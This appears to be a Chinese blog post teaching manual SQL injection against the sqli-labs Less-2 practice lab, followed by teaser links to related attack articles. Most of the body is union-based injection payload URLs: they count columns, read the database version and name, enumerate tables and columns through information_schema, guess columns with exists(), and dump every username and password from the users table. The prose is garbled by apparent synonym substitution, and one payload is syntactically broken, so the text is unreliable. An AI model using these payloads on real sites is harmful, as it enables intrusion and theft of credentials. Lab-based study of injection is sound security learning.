浅谈web安全之手艺检测sql注入以及取得信息

访客5年前黑客工具1169

所谓SQL注入,便是经过把SQL指令刺进到Web表单递送或输入域名或页面恳求的查询字符串,终究到达诈骗服务器履行歹意的SQL指令。
查验是否可以注入
and 1=1 正常
and 1=2 犯错
http://localhost/sqlilabs/Less-2/?id=1 是一个注入点。
后台的SQL句子的写法大致为
select username,password,[....] from table where id=userinput得到字段总数
那么咱们经过运用order by的句子来判别select所查询字段的数目。
那么payload变为:
http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....
得到显现位当运用order by 4时程序犯错,那么select的字段一共是3个。
在页面上会显现从select中选取的字段,咱们接下来便是要判别显现的字段是哪几个字段。
运用如下的payload(两者均可)进行判别。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3
http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3

当运用个如上的payload时,页面的显现如下:
经过如上的页面显现就可以知道,页面中显现的是第2位和第3位的信息。
查选库
在知道了显现位之后,那么接下来就可以经过显现位来显现咱们想知道的信息,如数据库的版别,用户信息等等。那么咱们运用如下的payload就可以知道相关的信息。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()

此刻页面的显现为:
可以看到在页面上就呈现了数据库的版别信息和当时运用的数据库信息。
那么接下来咱们经过这种办法知道数据库中一切的数据库的称号。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 #得到之一个库名
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二个库名
因为database()回来的便是当时web程序所运用的数据库名,那么咱们就运用database()来查询一切的表信息。当然在上一步中。咱们也现已知道当时的database便是security。查选表名
那么咱们结构的payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

这样咱们就得到当时数据库下一切的表名了。页面回来的成果是:
所以咱们知道在当时的数据库中存在4张表,分别是emails,referers,uagents,users。
查选列名
在知道了表名之后,接下来咱们运用information_schema.columns就可以依据表名来获取当时表中一切的字段。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六进制)
经过这个句子,咱们就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password这些字段。可是我本地测验的测验的时分,这个存在一个问题,实际上在security数据库的users的表中,只要id,username,password这3个字段,其他的字段都是其他数据库的中users表的字段名。

经过上面的payload,咱们也相同可以知道在emails,referers,uagents中的字段称号。
可是有的时分后台的代码或许仅用了运用where子句,那么这个时分就无法经过information_schema.coumns来得到列名了,这个时分只可以依据你自己多年的黑客经历来进行猜解了。猜解的办法也是比较的简略,运用exists子句就可以进行猜解了。假设在咱们现已知道了表名的情况下(当然猜解表名也运用经过exists子句来完结)。
猜解的句子如下:
http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)
如下如所示:首要的句子便是exists(select 需求猜解的列名 from users)这种句式。如果在users表中不存在uname列名,则页面不会显现内容或者是直接呈现sql的过错句子。

下面这个便是猜解到了users表中存在的字段。
http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)
脱裤猜想在users表中存在username列,上面的句子程序可以正常第回来成果,那么寿命在users表中的确存在username列名。
在知道了当时数据库一切的表名和字段名之后,接下来咱们就可以dump数据库中一切的信息了。比方咱们下载当时users表中一切的数据。
可以运用如下的payload:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users
就可以得到users表中一切的username和password的数据了,经过这种办法也可以得到其他表中的数据了。
 

相关文章

某网站缝隙排查经历

 在这儿共享一些之前对某网站会员/用户体系(一般域名都是passport.xx.com)进行缝隙检查查出的一些问题,这些问题大多都是逻辑类缝隙,运用缝隙进行进犯并不需求什么深邃的技能才干,所以损害特别...

对DOTNET(.NET)中的歹意长途拜访进程进行剖析(下)

上一篇说到代码会有许多重复,由于它在每个if句子(共有五个if句子,会在下篇讲到)中都会调用一个函数。但是,细节却略有不同,其间给定的办法称号和函数的参数都会显现函数的内容。 第一个if句子在程序会集...

LimeRAT在野外传达

几天前,Cybaze-Yoroi ZLab安全团队遇到了一类风趣的感染链,它运用多种杂乱技能,能够绕过传统安全防御机制并躲藏其payload,对方针用户形成严重威胁。 整个感染链始于一个LNK文件,运...

2019 神盾杯 final Writeup(二)-黑客接单平台

前语 接之前的剖析文章,本篇文章将2019 神盾杯线下赛后续两道web题也解析一下。 web3 预置后门扫描 翻开源码发现是干流cms typecho,先上东西扫一波: 一起注意到版别号: 依...

XSS终结者-CSP理论与实践

 CSP 全称为 Content Security Policy,即内容安全战略。首要以白名单的方法装备可信任的内容来历,在网页中,能够使白名单中的内容正常履行(包括 JS,CSS,Image 等等)...

在Go中运用反向署理进行网络垂钓测验

关于一个进犯者来说,要想施行一次网络垂钓进犯,往往需求做很多的准备作业。例如建立垂钓站点,诱惑受害者上钩,捕获受害者的登录凭据等。为了防止这些冗杂的进程,本文我将教咱们运用Go自动化这些进程。 完好的...